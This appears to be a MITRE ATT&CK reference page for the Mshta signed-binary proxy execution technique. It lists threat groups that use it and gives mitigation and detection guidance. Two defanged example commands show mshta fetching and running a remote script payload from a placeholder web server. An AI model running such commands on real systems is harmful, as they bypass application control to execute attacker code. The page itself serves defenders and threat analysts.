ID	Name
T1218.001	Compiled HTML File
T1218.002	Control Panel
T1218.003	CMSTP
T1218.004	InstallUtil
T1218.005	Mshta
T1218.007	Msiexec
T1218.008	Odbcconf
T1218.009	Regsvcs/Regasm
T1218.010	Regsvr32
T1218.011	Rundll32

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code ^[1] ^[2] ^[3] ^[4] ^[5]

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. ^[6] HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. ^[7]

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. ^[8]

ID: T1218.005

Sub-technique of: T1218

Tactic: Defense Evasion

Platforms: Windows

Permissions Required: User

Data Sources: File monitoring, Process command-line parameters, Process monitoring

Defense Bypassed: Application control, Digital Certificate Validation

Contributors: Ricardo Dias; Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank

Version: 1.0

Created: 23 January 2020

Last Modified: 20 June 2020

Version Permalink

Live Version

Procedure Examples

Name	Description
APT32	APT32 has used mshta.exe for code execution.^[14]^[15]
FIN7	FIN7 has used mshta.exe to execute VBScript to execute malicious code on victim systems.^[5]
Inception	Inception has used malicious HTA files to drop and execute malware.^[18]
Kimsuky	Kimsuky has used mshta to run malicious scripts on the system.^[17]
Koadic	Koadic can use MSHTA to serve additional payloads.^[9]
MuddyWater	MuddyWater has used mshta.exe to execute its POWERSTATS payload and to pass a PowerShell one-liner for execution.^[11]^[16]
NanHaiShu	NanHaiShu uses mshta.exe to load its program and files.^[10]
POWERSTATS	POWERSTATS can use Mshta.exe to execute additional payloads on compromised hosts.^[11]
Revenge RAT	Revenge RAT uses mshta.exe to run malicious scripts on the system.^[13]
Xbash	Xbash can use mshta for executing scripts.^[12]

Mitigations

Mitigation	Description
Disable or Remove Feature or Program	Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life.
Execution Prevention	Use application control configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

Detection

Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.

Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious

Signed Binary Proxy Execution: Mshta

Other sub-techniques of Signed Binary Proxy Execution (10)

Procedure Examples

Mitigations

Detection

References